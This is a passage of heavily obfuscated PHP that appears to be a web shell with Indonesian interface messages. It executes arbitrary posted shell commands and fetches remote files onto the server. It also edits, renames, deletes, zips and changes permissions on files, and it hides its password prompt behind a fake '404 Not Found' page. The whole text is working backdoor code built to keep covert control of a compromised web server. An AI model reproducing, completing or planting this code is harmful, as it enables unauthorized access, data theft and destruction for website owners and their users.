urlencode("\x4e\x61\x6d\x61\x20\x66\151\154\x65\40\x74\151\144\141\153\x20\166\141\154\151\144\x2e")); die; } $filepath = $cwd . "\x2f" . $filename; $ok = file_put_contents($filepath, $_POST["\x66\151\x6c\145\x64\141\x74\x61"]); header("\114\x6f\x63\x61\x74\151\x6f\x6e\x3a\40\77\x64\75" . urlencode($cwd) . "\46\x6d\x73\x67\75" . ($ok !== false ? urlencode("\106\151\154\x65\x20\x64\x69\x62\165\141\164") : urlencode("\107\x61\x67\x61\x6c\x20\x6d\x65\155\142\165\141\x74\40\x66\x69\x6c\x65"))); die; } if (isset($_POST["\x6e\145\x77\x66\x6f\154\144\145\162"])) { if (!is_writable($cwd)) { header("\x4c\157\x63\x61\x74\x69\x6f\156\x3a\40\77\x64\75" . urlencode($cwd) . "\46\x6d\163\x67\x3d" . urlencode("\107\141\x67\x61\154\x20\x6d\145\x6d\142\x75\141\x74\x20\146\x6f\x6c\144\145\x72\72\x20\104\151\x72\x65\x6b\164\x6f\162\x69\40\164\x69\144\141\153\x20\144\141\160\141\164\40\x64\151\x74\165\154\x69\163\56")); die; } $foldername = trim($_POST["\x6e\145\x77\x66\x6f\x6c\144\x65\162"]); if (empty($foldername) || strpos($foldername, "\x2f") !== false || strpos($foldername, "\134") !== false) { header("\x4c\x6f\143\141\164\151\x6f\156\x3a\x20\77\x64\75" . urlencode($cwd) . "\46\155\x73\147\75" . urlencode("\116\x61\x6d\141\40\146\157\x6c\144\145\x72\x20\x74\151\144\141\153\x20\166\141\154\151\x64\56")); die; } $folderpath = $cwd . "\x2f" . $foldername; $ok = mkdir($folderpath); header("\114\157\143\141\164\151\157\x6e\x3a\x20\77\x64\x3d" . urlencode($cwd) . "\46\x6d\x73\147\x3d" . ($ok ? urlencode("\x46\157\x6c\144\x65\x72\x20\x64\x69\142\165\x61\164") : urlencode("\x47\x61\147\141\154\x20\x6d\145\x6d\x62\x75\141\164\x20\146\157\x6c\144\145\x72"))); die; } if (isset($_POST["\x73\145\164\160\x61\163\x73"])) { file_put_contents($lock_file, password_hash($_POST["\x73\145\x74\160\141\163\x73"], PASSWORD_DEFAULT)); header("\114\x6f\x63\141\x74\151\157\x6e\x3a\40\x3f\144\75" . urlencode($cwd) . "\x26\155\163\147\75" . urlencode("\120\x61\163\x73\167\x6f\162\144\40\x64\151\x73\x69\x6d\x70\141\x6e")); die; } if (isset($_POST["\145\x64\151\x74\x66\x69\154\145"])) { $filepath = urldecode($_POST["\146\151\154\x65\160\x61\x74\x68"]); if (realpath($filepath) === false || strpos(realpath($filepath), realpath($cwd)) !== 0 || is_dir($filepath)) { header("\x4c\157\143\141\164\x69\x6f\x6e\72\x20\77\144\x3d" . urlencode($cwd) . "\46\x6d\163\147\x3d" . urlencode("\x47\141\147\141\154\40\x6d\x65\x6e\x79\151\x6d\x70\x61\x6e\x3a\40\120\141\164\150\x20\164\151\144\x61\153\40\166\141\x6c\151\x64\40\x61\x74\x61\x75\x20\x64\151\x20\154\165\x61\x72\40\x64\x69\x72\145\x6b\x74\x6f\162\151\40\x6b\x65\x72\x6a\141\56")); die; } if (!is_writable($filepath)) { header("\114\x6f\x63\141\x74\x69\x6f\156\72\40\77\144\75" . urlencode($cwd) . "\46\x6d\163\147\x3d" . urlencode("\x47\141\x67\141\154\40\155\145\156\x79\x69\x6d\x70\x61\156\x3a\40\x46\x69\154\x65\x20\164\x69\x64\x61\x6b\40\144\141\160\141\x74\x20\x64\151\164\x75\154\151\163\x2e")); die; } $ok = file_put_contents($filepath, $_POST["\x66\151\154\x65\144\x61\x74\141"]); header("\x4c\157\x63\141\164\151\x6f\156\72\40\x3f\x64\75" . urlencode($cwd) . "\46\x6d\x73\x67\75" . ($ok !== false ? urlencode("\x46\151\x6c\x65\x20\142\x65\162\150\x61\x73\151\154\x20\x64\151\x73\151\155\160\141\156") : urlencode("\x47\x61\147\141\x6c\x20\x6d\145\156\171\x69\x6d\x70\x61\156\x20\x66\x69\154\145"))); die; } if (isset($_POST["\162\x65\x6e\x61\x6d\145\x5f\x73\x75\142\x6d\x69\164"])) { $old = urldecode($_POST["\x6f\x6c\144\x5f\160\x61\164\150\137\x72\x65\156\x61\155\x65"]); $new_name = basename(trim($_POST["\x6e\x65\x77\x5f\156\x61\x6d\x65"])); $new = dirname($old) . "\57" . $new_name; $old_real = realpath($old); $cwd_real = realpath($cwd); if ($old_real === false || strpos($old_real, $cwd_real) !== 0) { header("\114\157\143\x61\164\x69\157\156\72\40\77\144\x3d" . urlencode($cwd) . "\x26\155\x73\x67\x3d" . urlencode("\107\x61\x67\141\154\40\x72\145\156\141\155\x65\x3a\x20\120\141\164\150\40\164\x69\144\141\153\x20\166\x61\x6c\x69\144\x20\141\x74\141\x75\x20\x64\x69\40\154\165\141\162\x20\144\x69\x72\145\x6b\164\x6f\162\x69\40\x6b\x65\x72\152\x61\x2e")); die; } if (empty($new_name)) { header("\114\157\143\x61\164\x69\x6f\x6e\72\40\x3f\x64\x3d" . urlencode($cwd) . "\46\x6d\163\147\75" . urlencode("\x47\x61\x67\x61\x6c\x20\162\145\156\x61\155\145\72\40\116\x61\x6d\x61\40\x62\x61\x72\x75\40\x74\x69\144\x61\153\x20\x62\157\x6c\x65\x68\40\153\x6f\x73\x6f\156\147\x2e")); die; } $ok = rename($old, $new); header("\114\x6f\143\141\x74\151\x6f\156\x3a\x20\x3f\x64\x3d" . urlencode($cwd) . "\46\x6d\163\147\x3d" . ($ok ? urlencode("\x52\x65\156\x61\155\145\40\163\165\153\x73\x65\x73") : urlencode("\x52\x65\x6e\141\155\145\40\147\141\147\141\154"))); die; } if (isset($_POST["\x64\x65\154\160\x61\163\163"])) { if (file_exists($lock_file)) { if (unlink($lock_file)) { $_SESSION["\x75\x6e\x6c\x6f\143\153\145\144"] = false; header("\114\x6f\x63\x61\164\151\x6f\x6e\72\40\77\144\x3d" . urlencode($cwd) . "\46\155\x73\x67\75" . urlencode("\120\141\163\163\x77\157\162\144\x20\x64\151\x68\x61\160\x75\163")); } else { header("\114\157\143\141\164\x69\x6f\x6e\72\x20\x3f\x64\x3d" . urlencode($cwd) . "\x26\x6d\x73\x67\x3d" . urlencode("\107\141\147\x61\154\40\155\x65\156\x67\150\x61\160\165\163\x20\x66\151\154\145\x20\160\x61\x73\x73\167\x6f\x72\144\56")); } } else { header("\114\157\143\141\164\151\157\x6e\x3a\x20\77\144\75" . urlencode($cwd) . "\x26\155\163\x67\x3d" . urlencode("\106\151\154\x65\x20\x70\x61\x73\163\167\157\162\x64\40\x74\x69\x64\x61\x6b\40\144\151\164\145\x6d\x75\153\x61\156\56")); } die; } if (isset($_POST["\x62\x61\164\x63\150\137\141\143\x74\151\157\x6e"]) && isset($_POST["\163\145\x6c\145\143\164\x65\x64\137\x69\164\x65\155\163"]) && !empty($_POST["\163\x65\x6c\x65\143\164\145\144\137\x69\164\145\155\163"])) { $selected_items = $_POST["\163\x65\154\145\x63\x74\145\x64\x5f\x69\x74\x65\x6d\x73"]; $action_type = $_POST["\x62\141\164\x63\150\x5f\141\x63\x74\151\x6f\156"]; $msg_text = ''; $success_count = 0; $failed_items = array(); foreach ($selected_items as $key => $item_encoded) { $item_path = realpath(urldecode($item_encoded)); if ($item_path === false || strpos($item_path, realpath($cwd)) !== 0) { $failed_items[] = basename(urldecode($item_encoded)) . "\40\50\160\x61\x74\150\40\x69\156\x76\141\154\151\144\x2f\x75\156\163\x61\146\145\x29"; unset($selected_items[$key]); } else { $selected_items[$key] = $item_path; } } switch ($action_type) { case "\144\x65\x6c\145\x74\x65": foreach ($selected_items as $item_path) { if (delete_recursive($item_path)) { $success_count++; } else { $failed_items[] = basename($item_path); } } $msg_text = "{$success_count}\x20\x69\x74\x65\155\40\142\145\x72\x68\x61\163\151\154\x20\144\x69\150\141\160\165\163\x2e"; if (!empty($failed_items)) { $msg_text .= "\40\107\x61\147\141\x6c\x20\155\145\x6e\147\x68\x61\160\x75\163\x3a\x20" . implode("\54\x20", $failed_items) . "\x2e"; } break; case "\172\x69\x70": if (!is_writable($cwd)) { $msg_text = "\107\x61\x67\x61\154\40\155\x65\155\x62\x75\141\x74\40\172\x69\160\72\x20\104\151\162\x65\153\x74\x6f\162\151\x20\x74\x69\144\x61\x6b\x20\x64\141\160\x61\x74\40\x64\x69\x74\x75\x6c\x69\x73\x2e"; break; } $zip_file_name = $cwd . "\x2f" . "\141\162\143\x68\151\x76\145\137" . time() . "\x2e\x7a\151\160"; $success_count = create_zip_from_items($selected_items, $zip_file_name, $cwd); if ($success_count !== false) { if ($success_count > 0) { $msg_text = "\102\145\x72\150\141\163\x69\154\40\155\x65\156\x67\141\x72\163\151\x70\153\141\x6e\x20{$success_count}\40\151\x74\145\155\40\153\x65\x20" . basename($zip_file_name); } else { $msg_text = "\x54\x69\144\x61\x6b\x20\141\x64\x61\40\x69\164\x65\155\40\171\141\156\x67\40\x64\x69\x61\162\x73\x69\160\x6b\x61\156\40\141\164\x61\x75\x20\x67\141\x67\141\x6c\x20\155\x65\156\147\141\x72\163\x69\160\x6b\x61\x6e\56"; if (file_exists($zip_file_name)) { unlink($zip_file_name); } } } else { $msg_text = "\107\x61\147\141\x6c\x20\x6d\x65\155\142\165\141\x74\x20\x66\x69\x6c\145\40\x7a\151\x70\56\x20\x50\x65\162\x69\153\x73\141\40\x6c\157\147\40\163\145\x72\166\x65\162\x20\165\156\164\165\x6b\40\x64\x65\x74\141\151\154\56"; } break; case "\x63\157\x70\x79": case "\x63\x75\x74": $_SESSION["\x63\154\x69\x70\142\x6f\141\162\144\137\151\164\x65\x6d\x73"] = array(); $_SESSION["\x63\x6c\151\x70\x62\157\141\x72\x64\137\x74\171\x70\145"] = $action_type; foreach ($selected_items as $item_path) { $_SESSION["\143\154\151\x70\x62\x6f\141\162\144\137\x69\164\x65\x6d\x73"][] = $item_path; $success_count++; } $action_verb = $action_type === "\x63\157\160\x79" ? "\x64\151\x73\x61\154\x69\156" : "\144\x69\160\x6f\x74\157\x6e\147"; $msg_text = "{$success_count}\40\151\x74\145\155\x20\142\x65\162\x68\x61\x73\x69\x6c\x20{$action_verb}\x20\153\x65\40\143\x6c\151\x70\142\x6f\141\x72\144\56"; if (!empty($failed_items)) { $msg_text .= "\40\107\x61\147\x61\154\40{$action_verb}\x3a\40" . implode("\x2c\40", $failed_items) . "\56"; } break; default: $msg_text = "\101\x6b\163\151\40\x62\x61\164\143\x68\40\164\151\x64\x61\153\x20\x76\x61\x6c\151\x64\x2e"; break; } header("\x4c\x6f\x63\x61\164\x69\x6f\156\x3a\40\77\144\x3d" . urlencode($cwd) . "\x26\155\163\x67\x3d" . urlencode($msg_text)); die; } if (isset($_POST["\163\145\164\x5f\x63\150\x6d\157\144"])) { $target_path = urldecode($_POST["\x63\150\155\x6f\144\x5f\160\141\164\150"]); $octal_value = $_POST["\x63\x68\155\x6f\144\x5f\157\143\x74\141\154"]; if (!preg_match("\57\136\133\x30\x2d\x37\x5d\173\x33\54\64\x7d\x24\x2f", $octal_value)) { header("\114\157\x63\x61\x74\151\x6f\156\72\x20\x3f\x64\x3d" . urlencode($cwd) . "\x26\x6d\x73\147\75" . urlencode("\x47\x61\x67\x61\154\x20\103\110\x4d\117\104\x3a\40\106\x6f\162\x6d\141\x74\x20\x69\x7a\x69\x6e\40\x74\x69\144\141\153\x20\166\x61\x6c\151\144\x20\50\147\165\x6e\x61\x6b\x61\x6e\40\x33\x20\x61\164\x61\165\40\x34\40\x64\151\147\x69\164\x20\157\153\164\141\154\x29\56")); die; } $mode = octdec($octal_value); $target_real = realpath($target_path); $cwd_real = realpath($cwd); if ($target_real === false || strpos($target_real, $cwd_real) !== 0) { header("\x4c\157\x63\x61\x74\151\157\156\x3a\40\77\144\x3d" . urlencode($cwd) . "\46\x6d\163\x67\75" . urlencode("\107\141\x67\x61\x6c\40\103\110\115\x4f\x44\x3a\x20\120\141\x74\x68\x20\x74\151\x64\x61\x6b\x20\x76\141\x6c\151\144\40\141\164\x61\165\40\x64\x69\x20\x6c\165\x61\162\40\x64\151\162\x65\x6b\x74\157\x72\151\40\x6b\145\162\152\141\56")); die; } $ok = @chmod($target_path, $mode); if ($ok) { header("\x4c\157\143\x61\164\151\157\x6e\72\40\77\x64\x3d" . urlencode($cwd) . "\x26\x6d\163\147\x3d" . urlencode("\x43\110\115\117\104\40\x62\145\162\150\141\163\x69\154\x20\144\x69\165\142\141\x68\x20\x6d\145\x6e\x6a\141\x64\x69\x20" . $octal_value)); } else { $last_error = error_get_last(); header("\x4c\x6f\143\x61\164\x69\157\156\x3a\40\77\x64\75" . urlencode($cwd) . "\x26\x6d\163\x67\x3d" . urlencode("\x47\x61\x67\x61\154\x20\103\x48\x4d\x4f\104\x3a\x20" . ($last_error ? $last_error["\x6d\145\x73\x73\141\147\145"] : "\113\145\163\141\x6c\141\x68\141\x6e\x20\x74\x69\144\x61\x6b\x20\144\x69\153\145\164\141\x68\x75\x69\x2e") . "\56\x20\x50\x61\x73\x74\151\x6b\x61\x6e\40\x41\156\x64\x61\x20\155\145\155\x69\x6c\151\153\151\x20\x69\172\x69\x6e\x20\x79\141\x6e\147\x20\x63\x75\153\x75\x70\56")); } die; } if (isset($_POST["\160\141\163\164\145\137\x69\x74\145\155"])) { if (empty($_SESSION["\143\154\151\x70\142\x6f\x61\x72\x64\x5f\151\x74\x65\x6d\x73"]) || !isset($_SESSION["\x63\x6c\151\160\142\157\x61\x72\x64\137\x74\x79\160\x65"])) { header("\x4c\157\143\x61\x74\x69\x6f\156\x3a\40\x3f\x64\x3d" . urlencode($cwd) . "\x26\x6d\163\147\x3d" . urlencode("\103\154\151\160\142\x6f\x61\x72\144\x20\x6b\157\163\157\x6e\x67\x2e")); die; } if (!is_writable($cwd)) { header("\x4c\x6f\143\141\164\x69\x6f\156\x3a\x20\x3f\x64\x3d" . urlencode($cwd) . "\x26\x6d\163\x67\75" . urlencode("\107\141\147\141\x6c\x20\x6d\145\x6e\x65\155\x70\145\x6c\72\40\x44\x69\162\x65\153\x74\157\162\151\x20\x74\165\x6a\165\141\x6e\40\164\151\144\141\x6b\x20\x64\141\x70\x61\x74\x20\144\x69\x74\165\154\151\163\x2e")); die; } $operation_type = $_SESSION["\x63\154\x69\x70\142\x6f\x61\x72\x64\137\x74\171\x70\x65"]; $total_success = 0; $total_failed = array(); foreach ($_SESSION["\143\154\151\x70\142\157\x61\x72\144\x5f\151\x74\x65\155\163"] as $source_path) { $destination_path = $cwd . DIRECTORY_SEPARATOR . basename($source_path); $source_real = realpath($source_path); if ($source_real === false || !file_exists($source_real)) { $total_failed[] = basename($source_path) . "\40\x28\163\x75\155\x62\145\x72\40\x74\x69\144\141\x6b\40\x64\151\164\145\x6d\x75\x6b\x61\x6e\51"; continue; } if ($source_real === realpath($destination_path)) { $total_failed[] = basename($source_path) . "\40\50\154\x6f\x6b\141\x73\x69\x20\x73\141\155\141\x29"; continue; } if (is_dir($source_real) && strpos($destination_path, $source_real . DIRECTORY_SEPARATOR) === 0) { $total_failed[] = basename($source_path) . "\40\50\164\145\x6d\x70\145\x6c\x20\x6b\145\x20\144\141\x6c\x61\155\40\144\151\x72\151\x20\x73\145\x6e\x64\151\162\151\51"; continue; } $ok = false; if ($operation_type === "\x63\157\160\171") { $ok = copy_recursive($source_real, $destination_path); } elseif ($operation_type === "\x63\x75\x74") { if (!is_writable(dirname($destination_path))) { $total_failed[] = basename($source_path) . "\40\x28\x69\172\x69\x6e\x20\144\151\162\145\x6b\164\x6f\x72\x69\40\164\165\x6a\x75\x61\x6e\40\164\x69\x64\141\x6b\x20\143\165\153\x75\160\x20\x75\x6e\x74\x75\153\40\155\145\155\x69\156\144\x61\150\x6b\141\156\51"; continue; } $ok = rename($source_real, $destination_path); } if ($ok) { $total_success++; } else { $total_failed[] = basename($source_path); } } if ($total_success > 0) { unset($_SESSION["\x63\154\x69\160\142\x6f\141\162\x64\x5f\151\164\x65\155\163"]); unset($_SESSION["\x63\154\151\x70\x62\x6f\141\162\x64\137\164\x79\160\x65"]); $msg_action = $operation_type === "\x63\157\160\171" ? "\155\x65\x6e\x79\x61\x6c\151\156" : "\x6d\x65\155\151\x6e\144\x61\150\153\141\156"; $msg_text = "\x42\145\162\x68\141\x73\x69\x6c\40{$msg_action}\40{$total_success}\40\x69\x74\x65\155\40\153\145\x20" . basename($cwd); if (!empty($total_failed)) { $msg_text .= "\56\40\x47\141\147\141\x6c\x3a\40" . implode("\x2c\40", $total_failed) . "\56"; } header("\114\x6f\x63\x61\x74\x69\157\x6e\72\x20\x3f\144\x3d" . urlencode($cwd) . "\x26\155\x73\147\x3d" . urlencode($msg_text)); } else { $msg_text = "\x47\x61\x67\x61\x6c\40\x6d\x65\x6e\x65\155\x70\x65\154\x20\151\164\x65\155\x2e"; if (!empty($total_failed)) { $msg_text .= "\x20\107\141\x67\x61\154\x3a\40" . implode("\x2c\40", $total_failed) . "\x2e"; } header("\114\157\x63\141\164\x69\157\x6e\x3a\x20\77\144\x3d" . urlencode($cwd) . "\46\x6d\x73\147\x3d" . urlencode($msg_text)); } die; } if (isset($_POST["\x63\x6d\144\137\145\x78\x65\x63"]) && isset($_POST["\143\x6f\155\155\x61\156\x64"])) { $command_to_exec = trim($_POST["\143\157\155\x6d\x61\156\144"]); $cmd_output = execute_command($command_to_exec, $cwd); if (!isset($_SESSION["\x63\155\x64\x5f\150\151\x73\164\x6f\162\171"])) { $_SESSION["\x63\x6d\x64\137\150\151\163\x74\x6f\x72\x79"] = array(); } array_unshift($_SESSION["\143\x6d\x64\x5f\x68\151\x73\x74\x6f\x72\171"], $command_to_exec); $_SESSION["\x63\x6d\144\x5f\x68\151\x73\x74\x6f\162\x79"] = array_slice($_SESSION["\143\155\x64\137\x68\x69\163\x74\x6f\x72\171"], 0, 10); header("\x4c\157\143\x61\164\x69\157\156\x3a\40\77\141\x63\164\151\x6f\x6e\75\x63\x6d\x64\x26\x64\75" . urlencode($cwd) . "\46\x63\x6d\144\137\x6f\165\164\x70\165\164\x3d" . urlencode($cmd_output)); die; } if (isset($_POST["\143\x6c\145\x61\x72\137\143\155\144\x5f\150\151\163\x74\x6f\x72\171"])) { unset($_SESSION["\143\155\x64\x5f\x68\x69\163\164\157\x72\x79"]); header("\114\157\143\141\164\151\x6f\156\x3a\x20\x3f\141\143\x74\x69\x6f\x6e\75\x63\x6d\144\x26\144\75" . urlencode($cwd) . "\x26\155\163\x67\x3d" . urlencode("\x52\x69\167\x61\171\x61\x74\x20\x70\x65\x72\x69\156\164\x61\x68\40\144\151\150\141\x70\165\163\56")); die; } if (isset($_POST["\144\157\x77\156\x6c\x6f\x61\x64\137\165\x72\154\x5f\141\156\144\137\x73\x61\166\x65"])) { $url = trim($_POST["\x75\162\154\x5f\x74\x6f\x5f\144\157\x77\156\154\x6f\x61\144\x5f\162\x61\x77"]); $filename = trim($_POST["\146\151\154\145\156\141\155\145\137\x74\157\137\x73\141\166\145"]); $message = ''; if (filter_var($url, FILTER_VALIDATE_URL) && !empty($filename)) { $filename_safe = basename($filename); $destination_filepath = $cwd . DIRECTORY_SEPARATOR . $filename_safe; if ($filename_safe === basename(__FILE__) || $filename_safe === "\56\x66\163\137\x6c\157\x63\x6b") { $message = "\x3c\x73\160\x61\156\40\x73\x74\x79\x6c\x65\75\x27\x63\x6f\x6c\x6f\x72\72\x72\145\x64\73\x27\x3e\xe2\x9d\214\40\116\x61\155\141\x20\146\x69\x6c\x65\x20\x69\x6e\151\40\164\151\144\141\153\x20\144\x69\x69\x7a\151\x6e\x6b\x61\156\x21\x3c\x2f\x73\160\141\156\76"; } elseif (!is_writable($cwd)) { $message = "\74\163\x70\x61\156\40\163\x74\x79\x6c\x65\x3d\x27\143\157\154\157\162\72\162\x65\x64\73\x27\x3e\xe2\235\x8c\40\104\x69\x72\x65\x6b\x74\157\162\151\x20\x74\x69\x64\141\153\40\x64\141\160\x61\x74\40\x64\151\164\x75\154\x69\163\x21\x3c\57\163\160\x61\x6e\x3e"; } else { $data = getUrlContent($url); if ($data !== false && strlen($data) > 0) { if (file_put_contents($destination_filepath, $data) !== false) { $message = "\x3c\163\x70\141\156\40\x73\164\171\154\x65\75\x27\x63\x6f\154\x6f\x72\72\x67\162\x65\x65\156\x3b\x27\76\342\234\205\40\102\145\162\150\x61\x73\151\154\40\155\145\156\x79\x69\x6d\x70\x61\x6e\40\x66\x69\x6c\145\40\x73\145\142\x61\147\x61\x69\40\74\x73\164\162\157\x6e\147\76" . htmlspecialchars($filename_safe) . "\x3c\x2f\163\x74\x72\157\x6e\x67\76\x3c\57\x73\x70\141\156\x3e"; } else { $message = "\x3c\x73\160\x61\156\40\x73\x74\x79\154\x65\75\x27\x63\x6f\x6c\157\162\x3a\x72\x65\144\x3b\x27\x3e\342\235\214\x20\107\x61\147\x61\154\40\155\x65\x6e\165\154\x69\163\x20\x64\x61\164\141\x20\153\145\x20\146\x69\x6c\x65\x21\x20\x50\x65\162\151\153\x73\x61\x20\x69\172\151\x6e\x2e\x3c\x2f\163\160\141\x6e\76"; } } else { $message = "\74\x73\160\141\x6e\x20\163\x74\171\x6c\x65\75\47\x63\157\154\157\x72\x3a\162\x65\x64\73\x27\x3e\342\235\214\40\x47\x61\x67\141\x6c\40\155\x65\156\x67\141\x6d\142\x69\154\x20\x64\141\x74\141\40\144\141\x72\151\40\x55\x52\x4c\41\40\120\x65\x72\151\x6b\163\x61\x20\154\x6f\147\x20\163\x65\162\x76\x65\162\x20\x75\156\x74\x75\x6b\40\144\x65\164\x61\151\154\x20\143\125\122\x4c\x2e\x3c\x2f\163\x70\x61\x6e\76"; } } } else { $message = "\x3c\163\x70\141\x6e\40\x73\x74\171\154\145\x3d\x27\x63\x6f\x6c\157\x72\x3a\162\x65\x64\x3b\47\x3e\342\232\xa0\xef\270\217\x20\x55\122\x4c\x20\x74\151\144\141\153\40\x76\x61\154\151\144\x20\x61\x74\141\x75\40\x6e\141\x6d\x61\40\146\151\x6c\145\40\153\x6f\x73\157\156\147\41\x3c\x2f\x73\160\141\x6e\76"; } header("\114\x6f\143\141\164\x69\x6f\x6e\x3a\40\x3f\141\143\x74\x69\157\156\x3d\143\155\144\x26\144\75" . urlencode($cwd) . "\x26\x6d\x73\147\x3d" . urlencode($message)); die; } } goto VQUxR; hEh0m: $clipboard_items = isset($_SESSION["\x63\x6c\151\x70\x62\157\141\x72\144\x5f\151\x74\145\x6d\163"]) ? $_SESSION["\x63\x6c\151\160\x62\x6f\141\x72\x64\x5f\151\164\145\x6d\x73"] : array(); goto Fh0Vn; h25bW: function formatSize($b) { if (!is_numeric($b)) { return "\55"; } if ($b >= 1073741824) { return round($b / 1073741824, 2) . "\x20\107\102"; } if ($b >= 1048576) { return round($b / 1048576, 2) . "\40\115\102"; } if ($b >= 1024) { return round($b / 1024, 2) . "\x20\x4b\x42"; } return $b . "\x20\x42"; } goto YGhMw; upWbQ: function delete_recursive($path) { if (!file_exists($path)) { return false; } if (is_file($path)) { return unlink($path); } elseif (is_dir($path)) { $items = array_diff(scandir($path), array("\x2e", "\56\56")); foreach ($items as $item) { if (!delete_recursive($path . DIRECTORY_SEPARATOR . $item)) { return false; } } return rmdir($path); } return false; } goto qRTxV; iXfWD: if (file_exists($lock_file) && !isset($_SESSION["\165\x6e\154\x6f\143\153\x65\x64"])) { if ($_SERVER["\x52\105\x51\x55\105\123\124\137\x4d\105\x54\x48\117\104"] === "\x50\117\123\124" && isset($_POST["\160\141\x73\163"])) { $hash = file_get_contents($lock_file); if (password_verify($_POST["\x70\x61\163\163"], $hash)) { $_SESSION["\165\156\154\x6f\x63\153\x65\144"] = true; header("\114\157\143\x61\x74\x69\157\x6e\72\x20\x3f\144\75" . urlencode($cwd)); die; } else { $msg = "\120\141\163\x73\x77\157\162\144\x20\163\141\154\141\150"; } } echo "\74\41\x44\117\103\124\x59\x50\x45\40\150\164\155\154\76\12\x3c\x68\164\155\x6c\40\x73\164\x79\154\145\75\42\150\x65\151\147\x68\x74\72\x31\x30\60\x25\42\40\144\141\x74\141\x2d\142\x73\x2d\164\150\145\x6d\x65\x3d\x22\x64\x61\x72\153\42\x3e\12\x3c\150\145\x61\144\x3e\12\74\x6d\145\x74\141\40\156\x61\x6d\x65\75\42\x76\x69\x65\x77\160\x6f\162\x74\42\40\x63\157\156\164\x65\156\164\x3d\42\x77\151\x64\x74\x68\x3d\144\x65\x76\x69\143\145\55\x77\x69\144\164\150\54\x20\x69\x6e\x69\x74\x69\x61\x6c\55\x73\x63\x61\x6c\145\75\x31\54\x20\163\150\x72\151\156\x6b\x2d\x74\x6f\55\146\x69\x74\x3d\156\157\x22\x20\57\76\xa\x3c\x74\151\x74\x6c\145\76\x34\x30\64\x20\116\157\164\40\x46\x6f\x75\156\144\x3c\57\x74\x69\164\x6c\x65\76\12\x3c\154\x69\156\153\x20\150\162\x65\146\x3d\x27\150\164\164\160\163\x3a\x2f\x2f\x63\144\156\x2e\x6a\x73\144\x65\154\151\166\162\x2e\x6e\145\164\57\156\x70\x6d\57\142\x6f\157\x74\x73\x74\162\x61\x70\100\x35\x2e\x33\56\60\x2f\x64\x69\x73\x74\x2f\143\163\x73\x2f\x62\x6f\157\x74\x73\x74\162\141\160\56\155\x69\x6e\56\143\x73\163\47\x20\162\x65\x6c\x3d\x27\163\164\171\154\145\x73\150\145\145\164\x27\76\xa\74\x73\x74\x79\x6c\145\x3e\12\x20\40\x62\157\144\x79\40\173\xa\40\40\40\x20\143\157\x6c\x6f\162\72\40\43\64\x34\x34\x3b\12\40\x20\x20\x20\x6d\x61\x72\147\x69\x6e\x3a\x30\73\xa\40\40\40\x20\146\157\156\x74\x3a\x20\x6e\x6f\x72\x6d\x61\x6c\x20\x31\x34\x70\170\57\x32\60\160\x78\40\x41\x72\x69\x61\x6c\x2c\40\x48\x65\154\x76\x65\x74\x69\x63\141\54\40\x73\x61\x6e\163\55\x73\145\x72\x69\146\73\xa\40\x20\40\x20\x68\145\x69\147\150\x74\x3a\61\60\60\45\x3b\xa\40\40\x20\40\x62\x61\143\x6b\x67\x72\x6f\x75\156\144\x2d\143\157\154\157\162\72\x20\x76\x61\162\x28\55\55\x62\x73\55\142\x6f\144\171\x2d\x62\x67\51\x3b\12\40\40\175\12\40\40\x2e\x68\x69\x64\x64\145\x6e\x2d\155\145\163\x73\x61\147\x65\x20\173\12\40\40\40\40\x64\151\163\x70\154\x61\x79\72\40\156\x6f\x6e\x65\x3b\xa\x20\x20\40\40\146\157\156\x74\55\x73\151\172\145\72\40\x32\64\x70\170\73\12\x20\40\x20\x20\x63\x6f\x6c\x6f\162\72\x20\147\x72\145\145\156\x3b\xa\40\x20\x7d\xa\x3c\x2f\x73\x74\x79\x6c\x65\x3e\xa\x3c\57\x68\145\x61\144\76\xa\x3c\142\x6f\144\171\40\157\156\164\157\165\x63\x68\x73\164\x61\162\x74\75\42\x22\76\12\12\x3c\x64\x69\x76\x20\x73\164\171\154\145\x3d\x22\x68\x65\x69\147\x68\x74\x3a\x61\x75\x74\x6f\x3b\x20\x6d\151\x6e\55\x68\x65\151\x67\x68\x74\x3a\61\60\60\45\73\x22\x3e\40\x20\x20\40\x20\40\xa\40\40\x3c\144\x69\x76\x20\x73\x74\171\154\145\75\x22\x74\x65\x78\x74\x2d\x61\x6c\x69\147\156\72\x20\143\x65\x6e\164\x65\162\x3b\x20\x77\151\144\164\150\72\70\x30\x30\x70\170\x3b\x20\x6d\x61\162\147\151\156\55\154\x65\x66\x74\72\40\55\64\x30\60\160\x78\73\40\x70\x6f\x73\x69\164\151\x6f\156\x3a\x61\142\x73\157\154\x75\x74\145\x3b\40\164\x6f\160\72\x20\63\60\x25\x3b\40\154\x65\146\x74\x3a\65\60\x25\x3b\x63\157\154\x6f\x72\x3a\x76\141\162\x28\55\55\142\163\55\x62\157\144\x79\x2d\143\157\x6c\157\162\x29\73\42\x3e\12\40\x20\40\x20\74\150\61\40\x73\164\171\x6c\x65\75\42\155\141\x72\x67\151\x6e\x3a\x30\x3b\x20\x66\x6f\x6e\x74\55\x73\151\172\145\x3a\x31\65\60\160\170\x3b\40\x6c\151\156\145\x2d\150\x65\x69\x67\x68\164\x3a\x31\65\x30\160\x78\73\40\x66\157\156\164\x2d\x77\x65\x69\147\x68\x74\x3a\x62\157\x6c\144\73\x22\76\x34\x30\x34\x3c\x2f\150\61\76\xa\x20\40\40\40\x3c\x68\x32\x20\163\x74\171\x6c\145\x3d\x22\x6d\x61\x72\x67\x69\x6e\55\x74\x6f\x70\72\x32\60\x70\x78\x3b\x66\x6f\x6e\164\55\163\x69\172\x65\72\x20\63\60\x70\x78\73\42\x3e\116\x6f\x74\40\106\157\x75\x6e\144\74\57\150\x32\76\12\40\40\40\x20\74\160\x3e\x54\x68\145\40\162\145\x73\157\165\162\x63\x65\x20\x72\145\x71\165\x65\163\x74\x65\x64\x20\143\x6f\x75\154\144\40\x6e\157\164\40\x62\145\x20\x66\x6f\x75\156\x64\40\x6f\156\40\x74\x68\x69\x73\x20\x73\x65\162\x76\x65\162\41\74\57\x70\76\12\40\x20\x3c\57\144\151\x76\76\12\x3c\x2f\x64\x69\x76\76\12\xa\x3c\144\151\166\40\x63\x6c\141\163\163\x3d\42\150\151\144\144\x65\x6e\x2d\x6d\x65\x73\163\141\x67\x65\x22\40\151\144\75\x22\x73\145\x63\162\x65\164\42\x3e\12\40\40\x3c\x66\x6f\x72\x6d\x20\155\145\164\x68\x6f\x64\x3d\x27\x70\x6f\163\x74\47\x20\x63\x6c\141\163\163\x3d\x22\x64\x2d\x66\154\x65\x78\x20\x66\154\x65\x78\x2d\x63\157\154\165\x6d\x6e\40\x61\x6c\x69\147\156\x2d\151\x74\x65\x6d\163\55\x63\x65\